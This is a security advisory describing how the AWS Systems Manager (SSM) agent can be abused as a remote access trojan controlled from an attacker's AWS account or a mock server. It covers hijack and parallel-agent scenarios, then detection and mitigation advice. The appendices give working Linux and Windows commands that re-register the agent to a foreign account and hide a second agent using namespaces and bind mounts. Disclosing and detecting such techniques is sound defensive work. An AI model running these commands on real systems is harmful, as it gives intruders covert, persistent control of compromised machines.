Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan

By By Ariel SzarfOr AspirText Link

Published: 2026-03-05 · Archived: 2026-04-05 21:36:08 UTC

Overview

Mitiga has discovered a new potential post-exploitation technique in AWS (Amazon Web Services): running AWS's Systems Manager (SSM) agent as a Remote Access Trojan (RAT) on both Linux and Windows machines, controlling the endpoint using another AWS account. We're sharing this advisory to raise awareness about this new way of abusing the SSM agent that our team developed during our ongoing research in cloud and SaaS (Software as a Service) attacks and forensics.

The concept is straightforward: the SSM agent, a legitimate tool used by admins to manage their instances, can be re-purposed by an attacker who has achieved high privilege access on an endpoint with SSM agent installed, to carry out malicious activities on an ongoing basis. This allows an attacker who has compromised a machine, hosted on AWS or anywhere else, to maintain access to it and perform various malicious activities. Unlike using common malware types, which are often flagged by antivirus software, using SSM agent in this malicious manner allows the attacker to benefit from the reputation and legitimacy of this binary to cover his tracks.

The Benefits Attackers Gain by Using the SSM Agent as a RAT

1. The SSM agent binary is signed by Amazon, initially considered trusted and approved software by Antivirus (AV) and Endpoint Detection & Response (EDR) solutions. Consequently, the execution of the SSM agent as a RAT may occur without triggering immediate alarms or alerts, evading initial detection.
2. Elimination of the need to upload and execute new Remote Access Trojan (RAT) binaries, which may trigger AV and EDR products. The SSM agent is already installed on the endpoint.
3. Adversaries can use their own malicious AWS account as a Command and Control (C&C) server, enabling them to control the compromised SSM agent. This allows their communication to appear legitimate, making it harder to detect their activities.
4. No code needed for developing the attack infrastructure. You depend solely on the SSM service and agent.
5. The SSM agent offers supported features like "RunCommand" or "StartSession," providing attackers with effortless control over the compromised endpoint from the attacker AWS account. These features allow them to manipulate the endpoint in any desired manner, granting them broad control over its operations.
6. The SSM agent binary has gained substantial popularity due to its widespread installation and active use in default Amazon Machine Images (AMIs) within the AWS ecosystem. This prevalence increases the potential attack surface and provides a larger pool of potential targets for adversaries.

The Problem—or How Attackers Can Abuse the SSM Agent

In our research, we focused on the ability of an SSM agent to run not only on Amazon Elastic Compute Cloud (EC2) instances, but also on non-EC2 machine types (Servers on your own premises and Virtual machines aka VMs, including VMs in other cloud environments). We abused this feature by registering an SSM agent to run in "hybrid" mode even if the agent runs on an EC2 instance.

Using a couple of simple bash commands, the SSM agent can communicate and execute commands from different AWS accounts than the original AWS account where the EC2 instance is hosted. Through these actions, we also obtained the ability to run more than one SSM agent process in one endpoint, making our rouge agent process to work with our AWS account while the other process to continue working with the original AWS account without any interference.

Furthermore, by abusing the SSM proxy feature, we managed to make the SSM agent communicate with a non-AWS account endpoint, allowing an attacker to control an SSM agent in a way that does not rely on any AWS infrastructure other that a network path to the substitute endpoint.

Exploitation

Scenario 1 – Hijacking the SSM agent

In this scenario, the attack is "hijacking" the original SSM agent process by registering the SSM agent to work in "hybrid" mode with a different AWS account, enforcing it to not choose the metadata server for identity consumption (Appendix A). Then, the SSM agent will communicate and execute commands from attacker the owned AWS account.

Affected Systems

Linux and Windows machines that have an active SSM agent installed are susceptible to this attack.

Access Level

The threat actor must be able to run as root on the targeted Linux machine, or as administrator on the targeted Windows system.

Benefits

1. **Hard to detect locally** – After hijacking the SSM agent, it is very difficult for any software running on the host (such as antivirus software) to detect that the SSM agent is doing something malicious in the endpoint. As it continues to run as a legitimate SSM agent.
2. **The SSM agent runs as root** – In this scenario the SSM agent runs as root which gives the attacker unrestricted access to all system resources.
3. **Persistence** – The SSM agent is configured through the file system to run in hybrid mode in a persistent manner, meaning it will connect to the malicious C&C even after a reboot of the host.

Drawbacks

1. **Potentially suspicious on the AWS side-** After the SSM agent gets hijacked, the agent is no longer reporting back to the System Manager service as active and reachable on the victim's AWS account. which

should raise suspicion.
2. **High privileges required -** To register the SSM agent successfully, the attacker would need to run with root privileges, which is not easily attainable through exploit abuse.

Scenario 2 – Running Another SSM Agent Process

In this scenario, the threat actor runs another SSM agent process, which normally will not run if it finds another SSM agent process already running. The malicious agent process communicates with the attacker's AWS account, leaving the original SSM agent to continue communicating with the original AWS account.

This is achievable in Linux platform using Linux namespaces (Appendix B). The malicious SSM agent process allows the attacker to use the "Run Command" feature. Another case is to run the agent in "container" mode which allows the attacker to use the "Start Session" feature via AWS CLI (Appendix C).

On Windows platforms, we run another SSM agent process by setting environment variables for the malicious agent process (Appendix D), allowing the attacker to use the "Run Command" feature.

Affected Systems

Linux and Windows machines that have an active SSM agent installed are susceptible to this post exploitation persistence mechanism.

Access Level

At least one of the following permissions is crucial for a successful attack:

The threat actor must be able run as at least non-root privileged user on the targeted Linux machine, or as administrator on the targeted Windows system. One way to achieve this is by using System Manager itself in the case where the attacker has privileges within the victim AWS to use the SSM service to interact with the EC2 instances.

Benefits

1. **Less Permissions needed -** No need for root permissions to run another agent process (in second implementation for Linux server).
2. **Without impact in the victim AWS account -** There is no impact on the original agent.

Drawbacks

1. **Easier to detect on the endpoint -** The malicious agent runs in a separate process tree, making it easier to distinguish its execution from that of the original agent process.
2. **Agent persistence -** The responsibility of ensuring agent persistence lies solely with the attacker.

Using Mock Server Instead of AWS Account to Manage the SSM Agent

For several reasons, threat actor may prefer not using AWS account to manage the agents. They may prefer to

generate network traffic to their chosen IP rather than AWS visibility on their C&C because concrete risk management for any campaign.

During our research, we noticed that an SSM feature that can be abused in order to route the SSM traffic to an attacker-controlled server, allowing the usage of the legitimate binary without the traffic ever going through AWS's servers. This feature is using proxy to the server by changing the environment variables – 'http_proxy' and 'https_proxy'.

Based on this finding, research was published in January 2021 (https://frichetten.com/blog/ssm-agent-tomfoolery/) and the public source code of the agent (https://github.com/aws/amazon-ssm-agent), we wrote a simple mock server for "Run Command" feature.

Detection

In the first scenario, the hijack technique, you can monitor the instance data changing. When an agent is registered, it gets a new instance ID.

The details are in a new directory, in Linux in ***"/var/lib/amazon/ssm/i-**********"***, and in windows in ***"C:\ProgramData\Amazon\SSM\InstanceData\i-**********"***. After the hijack, if you see more than one directory with a different instance name than the original instance ID, it is suspicious. Also, monitoring bash/cmd commands or CreateProcess for running "amazon-ssm-agent" binary with the flags: "register", "code", "id", and "region". You can detect the "hijack" execution. Moreover, in the AWS account you can see the connection to this agent is lost.

For the second scenario, you can detect if there is more than one process: "amazon-ssm-agent". You should have just one instance at the same time. If there are two or more, it's also suspect.

For both attack scenarios, if the attack is performed from the AWS account (by start session, run command, or any other technique to run code on EC2 from the AWS account) you should see suspicious actions that related to Sessions Manager in CloudTrail logs.

Recommendations

1. If the SSM agent was added to the allow list in your AV or EDR solutions, it is strongly recommended to reconsider this decision. Given the potential compromise of the SSM agent as discussed, relying solely on the allow list is no longer reliable. Therefore, it is advisable to remove the SSM binaries from the allow list. By doing so, you enable your EDR solution to thoroughly examine and analyze the behavior of these processes, actively searching for any indications of malicious activity or suspicious anomality.

2. To effectively detect and respond to this malicious action, we recommend following the detection techniques mentioned earlier and integrating them into your SIEM (Security Information and Event Management) and SOAR (Security Orchestration, Automation, and Response) platforms. By implementing these detections, you enhance your capabilities to proactively hunt for and identify instances of this threat.

3. AWS security team offered a solution to restrict the receipt of commands from the original AWS account/organization using the VPC (Virtual Private Cloud) endpoint for Systems Manager

(https://docs.aws.amazon.com/systems-manager/latest/userguide/setup-create-vpc.html). If your EC2 instances are in a private subnet without access to the public network via a public EIP address or NAT gateway, you can still configure the System Manager service through a VPC endpoint. By doing so, you can ensure that the EC2 instances only respond to commands originating from principals within their original AWS account or organization. To implement this restriction effectively, refer to the VPC Endpoint policy documentation (https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html).

Summary

Mitiga's research discovered a significant new post-exploitation security concept: involving the use of Systems Manager (SSM) agent as a Remote Access Trojan (RAT) on Linux and Windows machines, controlling them using another AWS account. We shared our research with the AWS security team and included some of their feedback to this advisory. This advisory was created to raise awareness about the threat and its potential impact on endpoint security. the benefits of using SSM agent as a RAT, such as leveraging existing binaries, utilizing a malicious AWS account for C&C, and exploiting the agent's features, present serious risks to endpoint security. The widespread popularity and initial trust associated with the SSM agent further amplify the need for organizations to take immediate action to mitigate this new technique.

By understanding the risks and implementing proper security measures, businesses can fortify their defenses and protect their systems from this evolving threat.

References

- AWS Systems Manager documentation: https://aws.amazon.com/systems-manager/
- SSM Agent documentation: https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html
- Supported operating systems and machine types: https://docs.aws.amazon.com/systems-manager/latest/userguide/operating-systems-and-machine-types.html
- AMI with preinstalled SSM agent: https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html
- Install SSM agent for a hybrid mode: https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-managedinstances.html

Appendix A – Hijacking the original SSM agent

In Linux (shell command):

sudo systemctl stop amazon-ssm-agent && echo "yes" | sudo amazon-ssm-agent -register -code <ACTIVATION_CODE> -id <ACTIVATION_ID> -region <REGION> && sudo systemctl start amazon-ssm-agent

In windows (cmd command):

'yes' | & 'C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe' -register -code <ACTIVATION_CODE> -id <ACTIVATION_ID> -region <REGION>; Restart-Service AmazonSSMAgent

Appendix B – Linux Server root agent that enables “Run Command”

```
sudo su

mkdir /tmp/ssm_pg # A workdir where we place files we need
cd /tmp/ssm_pg
mkdir -p binds/varlib # A folder which will override /var/lib/amazon/ssm/ on the new namespace
mkdir -p binds/logs # A folder to override /var/log/amazon/ssm
mkdir -p binds/conf # A folder which will override /etc/amazon/ssm on the new namespace

cp -r /etc/amazon/ssm/* ./binds/conf/

# Copy some binaries to avoid orphan worker detection, which causes current execution to fail
cp `which ssm-agent-worker` .
cp `which ssm-session-worker` .

cp ./binds/conf/seelog.xml.template ./binds/conf/seelog.xml

# unshare time - create a new user namespace, make ourselves root in it, and a new filesystem namespace
unshare -m

mount --bind /tmp/ssm_pg/binds/varlib /var/lib/amazon/ssm # Bind over the existing VM
mount --bind /tmp/ssm_pg/binds/logs /var/log/amazon/ssm # Bind over log directory
mount --bind /tmp/ssm_pg/binds/conf /etc/amazon/ssm # Bind over configuration directory

# Register for the new account
export ACC_CODE="<ACTIVATION_CODE>"
export ACC_ID="<ACTIVATION_ID>"
export ACC_REGION="<REGION>"
amazon-ssm-agent -register -code "$ACC_CODE" -id "$ACC_ID" -region "$ACC_REGION"

# Launch ssm manager
amazon-ssm-agent &
```

Appendix C – Linux Server non-root agent that enables “Start Session”

```
mkdir /tmp/ssm_pg # A workdir where we place files we need
cd /tmp/ssm_pg
mkdir -p binds/varlib # A folder which will override /var/lib/amazon/ssm/ on the new namespace
mkdir -p binds/logs # A folder to override /var/log/amazon/ssm
mkdir -p binds/conf # A folder which will override /etc/amazon/ssm on the new namespace

cp -r /etc/amazon/ssm/* ./binds/conf/

# Copy some binaries to avoid orphan worker detection, which causes current execution to fail
cp `which ssm-agent-worker` .
cp `which ssm-session-worker` .

cp ./binds/conf/seelog.xml.template ./binds/conf/seelog.xml

# Enable container mode to avoid setgroup issues
# Note: This is some very ugly editing, you might need to debug this if the default config changes, sorry about that
export CONFIG_FILE=./binds/conf/amazon-ssm-agent.json
cp ./binds/conf/amazon-ssm-agent.json.template $CONFIG_FILE

# Add the "ContainerMode" to the config file (and also add a ',' to the previous line)
sed -i 's/"LongRunningWorkerMonitorIntervalSeconds": 60/"LongRunningWorkerMonitorIntervalSeconds": 60,\n       "ContainerMode": true/' $CONFIG_FILE

# Remove the closing bracket from the config file
head -n -1 < $CONFIG_FILE > $CONFIG_FILE.tmp

# Add the "Identities" section to the config file
echo -ne "    ,\"Identity\": {\n        \"ConsumptionOrder\": [\"OnPrem\", \"EC2\"]\n    }\n}" >> $CONFIG_FILE.tmp
mv $CONFIG_FILE.tmp $CONFIG_FILE

# unshare time - create a new user namespace, make ourselves root in it, and a new filesystem namespace
unshare -rm

mount --bind /tmp/ssm_pg/binds/varlib /var/lib/amazon/ssm # Bind over the existing VM
mount --bind /tmp/ssm_pg/binds/logs /var/log/amazon/ssm # Bind over log directory
mount --bind /tmp/ssm_pg/binds/conf /etc/amazon/ssm # Bind over configuration directory

# Register for the new account
export ACC_CODE="<ACTIVATION_CODE>"
export ACC_ID="<ACTIVATION_ID>"
export ACC_REGION="<REGION>"
amazon-ssm-agent -register -code "$ACC_CODE" -id "$ACC_ID" -region "$ACC_REGION"

# Launch ssm manager
amazon-ssm-agent &
```

Appendix D – Windows Server agent that enables “Run Command”

In CMD Window (after successful RDP):

```
mkdir C:\tmp\pd
xcopy /Q /E /I C:\ProgramData\Amazon\SSM C:\tmp\pd\Amazon\SSM
rmdir /S /Q C:\tmp\pd\Amazon\SSM\InstanceData
set ProgramData=C:\tmp\pd
"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe" -register -code <ACTIVATION_CODE> -id <ACTIVATION_ID> -region <REGION>
start /B cmd /c "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
# Wait ~10 sec
start /B cmd /c "C:\Program Files\Amazon\SSM\ssm-agent-worker.exe"
```
